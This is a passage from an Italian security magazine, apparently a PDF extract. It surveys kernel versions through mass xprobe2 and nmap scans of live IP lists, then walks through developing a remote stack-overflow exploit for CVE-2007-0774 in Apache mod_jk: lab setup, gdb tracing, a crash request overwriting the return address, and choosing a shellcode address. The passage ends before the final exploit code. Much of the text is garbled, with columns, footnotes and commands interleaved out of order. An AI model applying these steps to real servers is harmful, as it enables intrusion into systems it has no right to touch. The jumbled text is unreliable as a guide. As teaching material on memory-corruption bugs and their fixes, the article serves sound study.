-M 7 -M 8 -M 9 -M 10 >> $2_xprobe2_fingerprint.txt 11 focus on LINUX KERNEL 2.6 E TECNOLOGIE ANTI OVERFLOW degli host (la lista è infatti composta da IP già identificati come attivi). done che eseguito nel modo di seguito indicato: -O # chmod +x script # ./script IP_active_asia.txt asia Attiva la modalità TCP Fingerprint A questo punto terminata la raccolta dei dati, gli stessi sono stati esaminati e sviluppati fino a giungere alle percentuali allegate in Tabella 2. Lasciamo comunque al lettore il compito di sperimentare per conto proprio questa fase. Inviateci le vostre statistiche all'indirizzo [email protected] in formato html o pdf, possibilmente corredate da grafici e/o tabelle, assieme agli strumenti o agli script che avete creato per generarle. I migliori lavori prodotti verranno condivisi sul nostro sito Internet o pubblicati direttamente sulla nostra rivista! genera un unico file denominato asia_xprobe2_fingerprint.txt in cui viene scritto tutto l'output di xprobe2. Per le scansioni con nmap l'intera attività è invece stata svolta in modo più semplice utilizzando direttamente la lista degli indirizzi IP ricavata nella fase precedente: # nmap -iL IP_active_asia.txt -n -P0 -O -oN asia_nmap_fingerprint.txt Dove: -iL Indica ad nmap di prelevare gli indirizzi IP da sondare direttamente IP_active_asia.txt. -P0 [9] http:///www.sys-security.com [10] http://www.insecure.org [11] http://www.iana.org/assignments/ipv4-address-space - Da Wikipedia: L'Internet Assigned Numbers Authority è un organismo che ha responsabilità nell'assegnazione degli indirizzi IP. dal file lista Salta i test per verificare l'effettiva raggiungibilità Per migliorare i risultati delle tue statistiche accedi ai contenuti messi a disposizione dalla redazione su http://www.segfault.it/SS/001/stats/pack.tar.gz F ed ora C ore 5 /6 /7 U b u n t u 6 .1 0 U b u n t u 7 .0 4 O p e n S u S E 1 0 .2 S la c k w a r e 1 2 D e b ia n 4 .0 r1 M a n d r iv a F r e e 2 0 0 7 .1 N X P a tc h (e m u la z io n e s o ftw a re ) A SLR (E x e c S h ie ld ) (E x e c S h ie ld ) SSP F O R T IF Y SO U R C E [* ] [* * ] [* ][* * * ] [* ][* * * ] [* ] [* * ] [* ] [* * ] Tabella 1: Riepilogo schematizzato delle funzionalità di sicurezza implementate di default su piattaforma x86 dalle principali distribuzioni Linux esistenti. [*] Tutti i package di sistema più importanti forniti con la distribuzione sono compilati di default con -fstack-protector [**] Tutti i package di sistema più importanti forniti con la distribuzioni sono compilati di default con -D_FORTIFY_SOURCE=1 e/o 2 [***] Durante la compilazione di qualsiasi sorgente l'opzione -fstack-protector è implicitamente attiva. Centro Europa (RIPE) Cina (Asia – APNIC) Stati Uniti (America -ARIN) kernel 2.2 kernel 2.4 kernel 2.6 1,3% 23,38% 2,22% 37,81% 37,76% 57,03% 60,89% 38,96% 40,75% Tabella 2: Diffusione degli ultimi tre branch stabili del kernel Linux su un campione di 1000 sistemi sondati 12 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK L o stack overflow è uno degli errori di programmazione più “antichi” ed allo stesso tempo ancora oggi più comuni. Secondo un rapporto del CWE[1] che studia le falle ricorrenti osservate nel software durante il quinquennio 20012006, la categoria degli overflow ha mantenuto fino al 2005 la prima posizione, ovvero fino a quando le vulnerabilità web di tipo XSS non sono letteralmente esplose in tutto il mondo (un avvento paragonabile in termini di diffusione a quello dei format string overflow[2] avvenuto tra il 1999 ed il 2000 ma destinato, secondo gli esperti, a perdurare maggiormente nel tempo). Come conseguenza di questo evento, le problematiche legate ai buffer overflow sono passate in seconda posizione in termini di frequenza anche se ancora oggi si stima che la loro diffusione sia maggiore di altre vulnerabilità molto in voga come quelle di tipo SQL Injection o File Inclusion, a dispetto del crescente interessamento verso la sicurezza Web manifestato di recente da penetration tester e bug hunter. Nella lunga lista delle vulnerabilità correlabili alla categoria dei buffer overflow quelli che si manifestano nello stack rimangono certamente i più comuni, pur la loro longevità risalibile nel tempo al famoso Morris worm[3]. Non a caso su siti come securityfocus[4] vengono giornalmente pubblicati bollettini che dettagliano problematiche software del genere. Poiché alcuni degli argomenti che tratteremo in futuro o in questo stesso numero della rivista necessitano di conoscenze basilari di cosa è, ma soprattutto di come opera uno stack, quella che segue è una trattazione dei principali concetti relativi a questo tema. Successivamente verrà proposto un esempio reale e recente di vulnerabilità collocabile nella categoria degli stack overflow. Per meglio comprendere le parti che seguono sono comunque vivamente consigliate delle conoscenze anche minime di programmazione in C e/o C++. programma. Ciascuna funzione che necessita di argomenti crea solitamente un suo stack frame, un'area dedicata nella quale colloca le proprie strutture dati e che viene puntata dal registro EBP (detto anche Base Pointer o più comunemente Frame Pointer). Questo indirizzo[5] rimane costante lungo tutta l'esecuzione della funzione per permettere al processore di localizzare in modo preciso le variabili o le zone di memoria di interesse, al contrario del registro ESP (lo Stack Pointer) che come dice lo stesso nome, punta invece costantemente alla parte attiva dello stack che è soggetta a continue variazioni a seguito delle operazioni di inserimento/rimozione dei dati (push/pop) o di sottrazione/addizione (sub/add), queste ultime utilizzate solitamente per fare spazio alle variabili locali e ripristinare gli stack frame di competenza delle funzioni chiamanti. Simulazione teorica L'esecuzione di un'applicazione scritta in C/C++ parte dal blocco main() e si dirama via via verso le altre funzioni necessarie al corretto espletamento delle attività applicative. [1] http://cwe.mitre.org/documents/vuln-trends/index.html: Il sito ospita un database che cataloga le vulnerabilità in base alla loro tipologia e ne studia la diffusione per categoria (non per singolo bug). [2] In termini di diffusione i format string overflow hanno avuto un picco repentino che è andato però velocemente scemando. [3] Robert Tappen Morris, ora professore al Massachusetts Institute of Technology, fu l'artefice il 2 Novembre del 1988 del primo worm mai affacciatosi su Internet. All'epoca studente della Cornell University, progettò il worm a scopo statistico per determinare l'estensione dell'allora neonata rete, ma la rapidità con cui si diffuse e le modalità di infezione causarono il blocco indesiderato di migliaia di sistemi. Il worm sfruttava diverse falle conosciute tra le quali uno stack overflow nel demone fingerd. Tutta la storia ed il codice del worm possono essere consultati al seguente indirizzo http://www.morrisworm.com. Lo Stack in pillole su architettura hardware x86 [4] http://www.securityfocus.com Lo stack è una regione di memoria in cui le applicazioni depositano il contenuto delle variabili, i parametri passati alle funzioni o i puntatori che permettono di raggiungere punti nevralgici del [5] Un indirizzo è un valore rappresentato in forma esadecimale che nell'architettura hardware x86 ha la dimensione di 4 byte. Indica un punto ben preciso in memoria. Un esempio di indirizzo è 0xbfffee00. 13 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK Quando una funzione viene invocata, il programma solitamente esegue le seguenti operazioni base (supponiamo che dal main() venga chiamata la […] e ritorna al blocco main(): […] 0x080488c1 <xxx+86>: ret […] funzione xxx): 1) dal blocco main() il programma colloca nello stack L’istruzione “ret” preleva dalla posizione attuale dello stack (ovvero l'indirizzo puntato dallo Stack Pointer) i primi 4 byte in memoria. Questi rappresentano l'indirizzo di ritorno inserito dalla istruzione call durante il punto 2. (o nei registri del processore) i dati o gli indirizzi di memoria in cui essi risiedono che verranno utilizzati dalla funzione xxx come argomenti; 2) sempre dal main() il programma invoca con l'istruzione call la funzione xxx . Questa istruzione posiziona nello stack il cosiddetto indirizzo di ritorno (4 byte) che verrà utilizzato dal processore per ritornare al blocco main() (ovvero all'istruzione subito successiva alla call) quando la funzione xxx avrà terminato lo svolgimento dei suoi compiti. […] <main+446>: call […] Adesso si è nuovamente sul main() e l'esecuzione del programma riprende da dove era stata originariamente deviata. Come si manifesta uno stack overflow nei sistemi privi di tecnologie anti overflow Un overflow nello stack si manifesta nell'esatto momento in cui l'applicazione prova a memorizzare i dati provenienti da input utente in un buffer troppo piccolo per contenerli. Questa circostanza non causa l'interruzione immediata del programma come ci si aspetterebbe, bensì i dati in eccesso continuano ad essere scritti nello stack, modificando le strutture ed i puntatori allocati. Fra questi, l'alterazione dell'indirizzo di ritorno è lo scopo ultimo dell'attacco. Il raggiungimento di questo obiettivo consente di redirezionare il flusso di esecuzione dell'applicazione verso un qualsiasi punto in memoria, ad esempio uno shellcode[6] precedentemente posizionato nello stack come parte del buffer sovrascritto. 0x804886b <xxx> A questo punto l'esecuzione del programma continua dalla funzione xxx: 3) la funzione xxx crea il suo stack frame in tre step. Dapprima salva nello stack l'indirizzo del frame attuale[*], poi rende l'indirizzo puntato dal registro ESP il frame corrente copiandolo in EBP[**], infine fa spazio per le eventuali variabili locali [***] (istruzione sub sul valore puntato dal registro Pratica con CVE-2007-0774[7] ESP): La teoria è inutile se poi non può essere messa in pratica! Invece di dimostrare come uno stack overflow può essere abusato su un banale codice di esempio di poche righe, analizziamo un'applicazione reale. 0x0804886b <xxx>: push %ebp 0x0804886c <xxx+1>: mov %esp,%ebp [***]0x0804886e <xxx+3>: sub $0x118,%esp […] [*] [**] [6] uno shellcode è la rappresentazione (spesso in formato esadecimale) di istruzioni del linguaggio macchina, i cui contenuti se collocati in aree di memoria non limitate, vengono appositamente eseguiti dal processore. Il suo scopo è solitamente quello di aprire un canale di accesso remoto. 4) la funzione xxx svolge le sue operazioni… 5) al termine, ripristina lo stack frame precedente di competenza del main() (solitamente un'istruzione [7] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-20070774: Il CVE (Common Vulnerabilities and Exposures) fa parte di un'iniziativa fondata dal dipartimento della sicurezza statunitense volta a standardizzare, con un codice identificativo univoco, le singole vulnerabilità conosciute per il software in circolazione. add sul valore puntato dal registro ESP): […] 0x0804886e <xxx+73>: add $0x118,%esp 14 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK La falla software in questione, resa pubblica lo scorso marzo, risiede in alcune versioni di Mod_jk, un modulo di Apache che permette al web server di comunicare con il servlet engine Jakarta Tomcat per la divulgazione di applicazioni web dinamiche. Stando alle informazioni diramate con il bollettino ZDI-07-008[8], le versioni 1.2.19 e 1.2.20 del modulo sono soggette ad un'overflow che si manifesta nello stack. Potendo disporre direttamente dei sorgenti[9] si può in questo caso analizzarli per identificare l'esatto punto in cui gli sviluppatori hanno commesso l'errore. Queste informazioni ci saranno utili per creare in seguito un exploit remoto funzionante. ciclo giunge al byte di terminazione della prima stringa ( strlen(uri) ) fornita dall'utente. Se questa stringa è più grande di JK_MAX_URI_LEN (ovvero superiore in dimensioni ai 4096 byte), il buffer url completamente saturato ed i dati in eccesso continuano ad essere scritti nello stack fino a raggiungere il return address. COME È STATO RISOLTO IL BUG NELLE VERSIONI DI MOD_JK SUPERIORI ALLA 1.2.20? Diamo più da vicino uno sguardo a come è stata modificata la funzione vulnerabile nella versione 1.2.25[10] del modulo (l'ultima disponibile nel momento in cui si scrive): […] for (i = 0; i < strlen(uri); i++) { if (i == JK_MAX_URI_LEN) { jk_log(l, JK_LOG_WARNING, "Uri %s is invalid. Uri must be smaller then %d chars", uri, JK_MAX_URI_LEN); JK_TRACE_EXIT(l); return NULL; } if (uri[i] == ';') break; else { url[i] = uri[i]; […] } } url[i] = '\0'; La vulnerabilità La funzione vulnerabile è map_uri_to_worker() che risiede dentro il file jk_uri_worker_map.c nella directory native/common. Nella versione 1.2.20 dei sorgenti del modulo, dopo una serie di controlli formali, il contenuto di uri (un const char * proveniente da input utente e passato come argomento alla funzione) viene travasato byte per byte nella variabile locale url attraverso un ciclo for. La variabile url è definita all'inizio di map_uri_to_worker() come un array di caratteri che può contenere al massimo JK_MAX_URI_LEN byte +1. A sua volta JK_MAX_URI_LEN viene definito all'interno del file jk_uri_worker_map.h con: #define JK_MAX_URI_LEN viene Gli sviluppatori hanno incluso un nuovo blocco condizionale (if) che controlla il valore raggiunto dalla variabile numerica “i” (la posizione attuale del byte di uri che deve essere copiato in url) con JK_MAX_URI_LEN (la dimensione massima accettata per l'input utente). Nel caso in cui “i” fosse uguale a “4095”, nei log generati dal modulo verrebbe scritto un messaggio di avviso relativo all'errore e map_uri_to_worker() ritornerebbe immediatamente alla funzione chiamante, evitando di generare uno stack overflow. 4095 Ciò significa che url può contenere al massimo una stringa di 4096 byte. La copia da un buffer all'altro viene gestita dal codice che segue: for (i = 0; i < strlen(uri); i++) if (uri[i] == ';') break; else url[i] = uri[i]; url[i] = '\0'; [8] http://www.zerodayinitiative.com/advisories/ZDI-07-008.html [9] http://archive.apache.org/dist/tomcat/tomcatconnectors/jk/source/jk-1.2.20/ L'errore risiede proprio in questo blocco. La copia del contenuto di uri in url termina solamente quando il [10] http://archive.apache.org/dist/tomcat/tomcatconnectors/jk/source/jk-1.2.25/ 15 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK Creare un exploit funzionante in ogni circostanza). Nel nostro caso ciò significa installare e configurare Apache, installare Jakarta Tomcat ed il connettore mod_jk. Questi step vengono descritti in dettaglio nell'apposito box qui sotto. Prima di proseguire nella lettura dell'articolo, è bene accertarsi quindi di aver portato a termine tutte le procedure lì descritte. Per evitare di scontrarsi con una qualsiasi delle tecnologie anti overflow presenti nelle recenti versioni di Linux e comprendere come un vanilla stack overflow può essere sfruttato con successo, è buona norma per il momento fare pratica con una distribuzione del pinguino completamente sprovvista di questo genere di misure di protezione (soprattutto se questo è il vostro primo hack). Per i nostri test abbiamo deciso di utilizzare una Red Hat 7.2[11] installata all'interno di una istanza VMWare. Prima di introdurre le operazioni che porteranno alla creazione di un exploit remoto è naturalmente necessario predisporre l'ambiente di test (questo vale [11] Le due ISO di “enigma” (nome in codice per Red Hat 7.2) non sono più ufficialmente fornite da Red Hat ma possono essere ancora prelevate da svariati siti come http://redhat.lsu.edu/dist/7.2/iso/ oppure http://xfiles.erin.utoronto.ca/pub/unix/redhat/7.2/en/iso/i386/ PREDISPORRE L'AMBIENTE DI TEST PER LA VULNERABILITÀ CVE-2007-0774 Attenzione: le configurazioni che seguono sono volte esclusivamente a creare un ambiente di test privato e non sono pertanto indicate per configurare un sistema di produzione. Gli amministratori di sistema che dalle seguenti linee guida vorranno trarre degli spunti per configurare uno o più server che offrono servizi online, devono comprendere che essi necessiteranno della definizione di permessi più accorti di quelli menzionati e riportati qui sotto. Installare Apache Il primo passo da compiere è installare Apache. Per semplificare questo task è sufficiente utilizzare la versione già fornita con Red Hat 7.2. In fase di installazione della distribuzione si seleziona un deployment di tipo Custom e tra le funzionalità a cui il sistema sarà adibito si sceglie Web Server. E' fondamentale selezionare anche il gruppo di pacchetti relativo agli strumenti di sviluppo software. Installare JSDK L'unico requisito di Jakarta Tomcat è il Java Development Kit (JDK)[12]. La versione fornita è autoestraente. Dopo averla collocata nel punto desiderato del filesystem, è sufficiente (da utente root) digitare: # chmod +x j2sdk-1_4_2_15-linux-i586.bin # ./j2sdk-1_4_2_15-linux-i586.bin La directory estratta deve essere poi spostata in /usr/java: # mkdir /usr/java # mv j2sdk1.4.2_15 /usr/java Successivamente va modificato il file /etc/profile aggiungendo le seguente righe: # JAVA_HOME=”/usr/java/j2sdk1.4.2_15” # export JAVA_HOME 16 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK Si salva il file e si digita da shell: # . /etc/profile Così facendo la variabile d'ambiente JAVA_HOME verrà immediatamente creata nel proprio contesto e non sarà necessario riloggarsi al sistema. Creare gli account utente Si procede adesso alla creazione di un utente e di un gruppo dedicato per le applicazioni Web dinamiche e statiche che gireranno per mezzo di Tomcat ed Apache: # groupadd wwwsite # useradd –g wwwsite wwwsite Installare Tomcat Si decomprime la versione 5.0.28 di Tomcat[12]: # tar xvfz jakarta-tomcat-5.0.28.tar.gz La directory estratta viene spostata in /usr/local: # mv jakarta-tomcat-5.0.28 /usr/local Si modificano il gruppo e l'utente owner di questa directory: # chown –R wwwsite.wwwsite /usr/local/jakarta-tomcat-5.0.28 A questo punto si è pronti per lanciare il servizio: # cd /usr/local/jakarta-tomcat-5.0.28/bin # ./startup.sh Per testare se Tomcat sta funzionando è sufficiente aprire il browser, digitare “http://ip_del_server:8080” e verificare la corretta visualizzazione della pagina di benvenuto con alla sinistra alcuni link che puntano a documentazione e codice di esempio. Lanciare alcuni dei codici di esempio cliccandoci semplicemente sopra. Dopo aver accertato il loro funzionamento è possibile fermare il servizio: # ./shutdown.sh Installare il connettore mod_jk Si decomprime la versione 1.2.20 del tomcat-connectors[12] (il modulo mod_jk che prende le richieste degli utenti che pervengono ad Apache e le rigira a Tomcat) nel punto desiderato del filesystem: # tar xvfz tomcat-connectors-1.2.20-src.tar.gz Si compila il pacchetto: 17 look at # # # # LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK cd ./tomcat-connectors-1.2.20-src/native ./buildconf.sh ./configure –-with-apxs=/usr/sbin/apxs make Al termine di questa procedura il modulo creato deve essere spostato nella directory in cui risiedono tutti i moduli di Apache: # cd ./apache-1.3 # cp mod_jk.so.0.0.0 /etc/httpd/modules/mod_jk.so Creare il tree di directory A questo punto si crea l'albero delle directory in cui risiederanno in seguito una pagina di esempio statica (in HTML classico) ed una dinamica (scritta in JSP): # # # # # mkdir mkdir mkdir mkdir mkdir /home/wwwsite/webapps/test.com /home/wwwsite/webapps/test.com/logs /home/wwwsite/webapps/test.com/test /home/wwwsite/webapps/test.com/test/WEB-INF /home/wwwsite/webapps/test.com/test/WEB-INF/classes Vanno quindi impostati i relativi permessi: # chmod 755 /home/wwwsite/webapps # chmod 755 /home/wwwsite/webapps/test.com # chmod 755 /home/wwwsite/webapps/test.com/test Configurare Tomcat Siamo così giunti alla fase della configurazione dei servizi. Il primo step per Tomcat consiste nel definire in che modo il modulo mod_jk potrà comunicare con il servlet engine. Queste informazioni sono contenute nel file workers.properties che dovrà essere collocato nella directory /etc/httpd/conf: # workers.properties - ajp13 # # List workers worker.list=wrkr # # Define wrkr worker.wrkr.port=8009 worker.wrkr.host=localhost worker.wrkr.type=ajp13 worker.wrkr.socket_timeout=300 In questo caso il modulo Apache invierà le richieste degli utenti sulla porta TCP 8009 dell'interfaccia locale localhost (127.0.0.1) in cui starà in ascolto Tomcat. Il forward verrà espletato attraverso il protocollo Ajpv 13 su canale TCP/IP. 18 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK Il secondo file di configurazione è invece server.xml che va collocato in /usr/local/jakarta-tomcat5.0.28/conf/. Nel nostro caso quello esistente può essere tranquillamente sovrascritto: <Server port="8005" shutdown="test" debug="0"> <Service name="Tomcat-Apache"> <Connector address="127.0.0.1" port="8009" minProcessors="5" maxProcessors="75" enableLookups="false" protocol="AJP/1.3" debug="0"/> <Engine name="appserver" debug="0" defaultHost="test.com"> <Host name="test.com" appBase="/home/wwwsite/webapps" autoDeploy="false" deployOnStartup="false" unpackWARs="false" deployXML="true" debug="0"/> </Engine> </Service> </Server> Qui in pratica vengono definite le porte TCP in cui Tomcat starà in ascolto (8005 per la ricezione del segnale di stop del servizio ed 8009 per ricevere e soddisfare le richieste provenienti da Apache). Viene inoltre definito un host virtuale test.com e la locazione nel disco in cui le pagine del sito risiedono (direttive “Host name” ed “appBase”). Il terzo ed ultimo file di configurazione per Tomcat va collocato all'interno di un nuovo tree di directory: # mkdir –p /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.com # touch /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.xml Il file test.xml va infine popolato con le seguenti direttive: <Context path="" docBase="test.com/test" reloadable="true" debug="0"/> Configurare Apache Il file di configurazione di apache (/etc/httpd/conf/httpd.conf) consta di tre aree appositamente marcate al suo interno come: 19 look at 1. 2. 3. LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK Global Environment Main Server Configuration Virtual Hosts Ciascuna di queste deve essere opportunamente modificata. Nella sezione Global Environment, subito dopo i punti in cui vengono caricati i moduli mod_dir.so e mod_cgi.so, si devono aggiungere le direttive: LoadModule jk_module modules/mod_jk.so AddModule mod_jk.c All'inizio della sezione Main Server Configuration risiedono poi le direttive User e Group che indicano sotto quale utente e gruppo i processi figli di Apache devono essere eseguiti. Vanno modificate nel seguente modo: User wwwsite Group wwwsite Nella parte bassa della stessa sezione vanno inoltre aggiunte queste altre direttive: JkWorkersFile "/etc/httpd/conf/workers.properties" JkLogFile "/etc/httpd/logs/mod_jk.log" JkLogLevel info JkLogStampFormat "[%a %b %d %H:%M:%S %Y]" Infine la sezione Virtual Hosts deve così essere modificata: NameVirtualHost 192.168.1.1:80 <VirtualHost 192.168.1.1:80> ServerAdmin [email protected] ServerName www.test.com DocumentRoot /home/wwwsite/webapps/test.com/test ErrorLog /home/wwwsite/webapps/test.com/logs/error_log CustomLog /home/wwwsite/webapps/test.com/logs/access_log common JkMount /*.jsp wrkr JkMount /servlet/* wrkr # Nega l'accesso diretto a to WEB-INF <LocationMatch ".*WEB-INF.*"> AllowOverride None deny from all </LocationMatch> </VirtualHost> In questo caso 192.168.1.1 è l'indirizzo IP di una delle interfacce di rete della macchina utilizzata come web server di test. Ovviamente questa informazione va modificata secondo la vostra attuale configurazione di rete. Ultime impostazioni A questo punto si è giunti al completamento della configurazione. Una volta copiati i due script di prova[12] index.html e test.jsp nella directory /home/wwwsite/webapps/test.com/test e lanciati i servizi Tomcat ed Apache: 20 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK # cd /usr/local/jakarta-tomcat-5.0.28/bin # ./startup.sh # /etc/init.d/httpd start puntate il browser sugli URL http://ip_del_server/ e http://ip_del_server/test.jsp. Se vengono visualizzate entrambe le pagine l'ambiente di test sarà stato installato con successo. Adesso siete pronti per la parte più divertente: l'accertamento e l'exploiting della vulnerabilità CVE-2007-0774. [12] Per semplificare la predisposizione dell'ambiente di test abbiamo incluso in un unico package tutte le componenti necessarie (sorgenti e file di configurazione). Il package può essere prelevato da http://www.seg-fault.net/SS/001/vanillab0f/all_pack.tar.gz Fase 1: Determinare quanti byte sono necessari per raggiungere il return address dal buffer saturato Nel secondo caso invece bisognerà identificare il punto esatto interessato, ovvero appena prima che la funzione ritorni: Una volta predisposto l'ambiente di test e verificatone il funzionamento, Apache è pronto per ricevere le richieste dagli utenti. Prima di scrivere però l'exploit vero e proprio è necessario tracciare il comportamento del modulo mod_jk avviando una sessione di debugging. In questo caso ci avvarremo di gdb per agganciarci ad uno dei processi figli del web server. Dapprima si determinano i relativi pid: (gdb) disas map_uri_to_worker ---Type <return> to continue, or q <return> to quit--[…] 0x403c3b70 <map_uri_to_worker+1376>: pop %ebp 0x403c3b71 <map_uri_to_worker+1377>: ret End of assembler dump. (gdb) break *0x403c3b70 [**] Breakpoint 2 at 0x403c3b70: file jk_uri_worker_map.c, line 636. # ps –uax | grep httpd | grep wwwsite wwwsite 1616 0.0 3.3 46752 6468 ? S 06:14 0:00 /usr/sbin/httpd wwwsite 1617 0.0 3.3 46752 6468 ? S 06:14 0:00 /usr/sbin/httpd […] A questo punto si istruisce il processo che può continuare normalmente la sua esecuzione: (gdb) c Continuing. In questa circostanza si seleziona il primo e si procede con la fase di attach indicando da linea di comando il punto in cui risiede il file eseguibile dell'applicazione oggetto del test ed il pid prescelto: Adesso disponiamo di un ambiente pronto al tracciamento di uno dei processi figli di Apache, ma serve l'evento scatenante per ottenere le informazioni su cui basarsi per costruire l'exploit. Questo evento è semplicemente una richiesta tale che permetta all'overflow di manifestarsi. # gdb /usr/sbin/httpd 1616 Dopo aver attraversato la lista dei moduli caricati (tasto Invio), si imposta un breakpoint[13] all'inizio[*] ed uno subito prima dell'uscita[**] della funzione vulnerabile. Il primo obiettivo è semplicemente raggiungibile digitando dal prompt del gdb: [13] Un breakpoint è un punto di arresto nel normale flusso di esecuzione di un programma. Viene utilizzato nelle sessioni di debugging per monitorare lo stato dei registri del processore o delle aree di memoria di un'applicazione in un preciso momento (nel nostro caso alcuni attimi prima del manifestarsi dello stack overflow e poco prima del ritorno della funzione vulnerabile). (gdb) break *map_uri_to_worker [*] Breakpoint 1 at 0x403c3610: file jk_uri_worker_map.c, line 536. 21 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK Sappiamo che il buffer che traboccherà (url) potrà condizione descritta sopra. Al momento abbiamo infatti messo sotto debugging solamente uno dei figli di Apache (di default ne vengono caricati 8 in un'installazione standard di Red Hat 7.2) e non è detto che la prima richiesta HTTP inviata venga gestita proprio dal processo che stiamo tracciando. contenere al massimo 4096 byte, ma quanti byte saranno necessari con esattezza per sovrascrivere l'indirizzo di ritorno della funzione vulnerabile? Nel nostro caso non si può disporre inizialmente di questa informazione se non in modo approssimativo, pertanto l'unica cosa logica da fare è inviare al web server una richiesta più grande della dimensione del buffer “url” ed analizzare cosa succede. L'evento La prima interruzione momentanea del processo è relativa al primo breakpoint. A questo punto l'overflow non si è ancora manifestato in quanto siamo nella fase iniziale di esecuzione della funzione vulnerabile. Continuiamo quindi con il caricamento dell'applicazione: scatenante in questione sarà dunque generato dal sorgente di test mostrato in Figura 1. Il codice è ben commentato ma in sintesi si occupa di inviare una richiesta HTTP con un URI[14] di 4128 byte (incluso il carattere slash) che mira a mandare in crash il processo debuggato. La parte più interessante del sorgente è l'array di caratteri crash: (gdb) c Continuing. Subito dopo aver lanciato il comando “c” nel prompt di char crash [] = "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"; gdb, la funzione map_uri_to_worker() esegue tutte Dopo aver riempito con delle “A” per 4095 byte il le istruzioni fino al secondo breakpoint, ovvero poco prima del suo ritorno. In questo momento il buffer url buffer buf (l'URI che verrà inviato come parte della richiesta HTTP al web server), successivamente viene copiato al suo interno il contenuto di crash (32 è già stato sovrascritto e dovrebbe aver alterato il return address.. L'istruzione successiva al breakpoint corrente è “ret”, ciò significa che il byte). Il motivo di questa accortezza sarà evidente più avanti, quando si avrà necessità di determinare con esattezza quanti byte saranno necessari per sovrascrivere il return address. Adesso compiliamo ed eseguiamo l'applicazione: processore prenderà i primi 4 byte che troverà nello stack e continuerà l'esecuzione dell'applicazione da quell'indirizzo. Diamo un breve sguardo a quale indirizzo punta attualmente il registro ESP (lo Stack Pointer): $ gcc crash.c –o crash $ ./crash ip_macchina_di_test 80 (gdb) p $esp $1 = (void *) 0xbffff578 Nella finestra in cui è stata lanciata la sessione di debugging dovrebbe quindi apparire a video un messaggio simile al seguente: Adesso osserviamo il contenuto dei prossimi 4 byte che si trovano a partire da quest'area di memoria (quelli che la successiva istruzione “ret” preleverà dallo stack ed utilizzerà come indirizzo di ritorno): [Switching to Thread 1024 (LWP 1616)] Breakpoint 1, map_uri_to_worker (uw_map=0x8174000, uri=0x817c0b8 "/", 'A' <repeats 199 times>..., l=0x40412580) at jk_uri_worker_map.c:536 (gdb) x/4bx $esp+4 0xbffff57c: 0x49 0x49 0x49 0x49 [14] Per URI si intende in questo caso la risorsa HTTP richiesta. Ad esempio in http://10.10.10.10/index.html, l'URI è Nel caso in cui ciò non fosse successo, lanciare crash più volte fino a quando non si verifica la rappresentato da “index.html”. 22 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK 0x49494949 sarà quindi l'indirizzo che il processore cresce verso indirizzi decrescenti e viceversa decresce verso indirizzi crescenti, pertanto il buffer “buf” si troverà in un indirizzo rappresentato da un utilizzerà come return address per ritornare alla funzione che ha precedentemente invocato map_uri_to_worker() . La conversione da valore più basso rispetto al return address, pur trovandosi effettivamente prima nello stack. Questo ad esempio è ciò che viene visualizzato a video analizzando i 2000 byte successivi all'indirizzo “0xbffff578” a cui vengono sottratti 1400 byte (cioè esadecimale ad ASCII di questo valore è “IIII”, esattamente le ultime quattro lettere contenute all'interno dell'array di caratteri “crash” nel sorgente di esempio mostrato in Tabella 1. Ciò oltre ad indicarci che è effettivamente possibile sovrascrivere in modo arbitrario l'indirizzo di ritorno della funzione vulnerabile, indica allo stesso tempo quanti byte sono necessari per giungere alla sua alterazione. Essendo 0x49494949 un indirizzo non valido (ovvero un partendo da 0xbffff000): (gdb) x/2000bx 0xbffff578-1400 0xbffff000: 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff008: 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff010: 0x41 0x41 0x41 0x41 0x41 0x41 […] 0xbffff060: 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff068: 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff070: 0x41 0x41 0x41 0x41 0x41 0x41 0xbffff078: 0x41 0x41 0x41 0x41 0x41 0x41 […] indirizzo non allocato nello spazio di indirizzamento dell'applicazione debuggata e quindi non accessibile dal processore), l'esecuzione dell'istruzione successiva al secondo breakpoint (ret) causerà il crash del processo. (gdb) c Program received signal SIGSEGV, Segmentation fault. 0x49494949 in ?? () (gdb) p $eip $2 = (void *) 0x49494949 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 Come viene dettagliato nel sorgente crash.c (Tabella 1), 0x41 è la rappresentazione esadecimale del carattere “A” (proprio il punto in memoria che ci interessa osservare). Quelli mostrati sono tutti indirizzi utili, ma per il proseguo dell'articolo utilizzeremo quello che è stato sottolineato nell'output mostrato sopra (0xbffff060). Nel nostro exploit questo dovrà sostituire l'indirizzo 0x49494949 puntato nel paragrafo precedente dal registro EIP[15]. Fase 2: Determinare in quale area di memoria fare puntare l'indirizzo di ritorno Come ultimo step volto ad ottenere tutte le informazioni utili per il completamento della prossima ed ultima fase (ovvero quella di creazione dell'exploit remoto) è necessario determinare a quale area di memoria l'indirizzo di ritorno sovrascritto dovrà puntare. Quella sarà la zona approssimativa in cui cercheremo di collocare uno shellcode. Il punto più logico è verso la seconda metà delle “A" che sono state utilizzate per riempire gran parte dello spazio del buffer “buf” nel sorgente mostrato in Tabella 1. Per Fase 3: Scrivere l'exploit Sostanzialmente sfruttare uno stack overflow si riduce sempre a riempire opportunamente un buffer di dati da inviare al server vulnerabile. identificare quest'area è necessario analizzare la memoria del processo debuggato a partire da un indirizzo di ESP inferiore a quello trovato dopo l'analisi svolta nel secondo breakpoint . Ciò è dovuto al fatto che nella piattaforma hardware x86 lo stack [15] Al contrario di ESP ed EBP descritti all'inizio dell'articolo, abbiamo tardato di proposito prima di menzionare questo registro. EIP punta sempre alla prossima istruzione che il processore dovrà eseguire. 23 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK 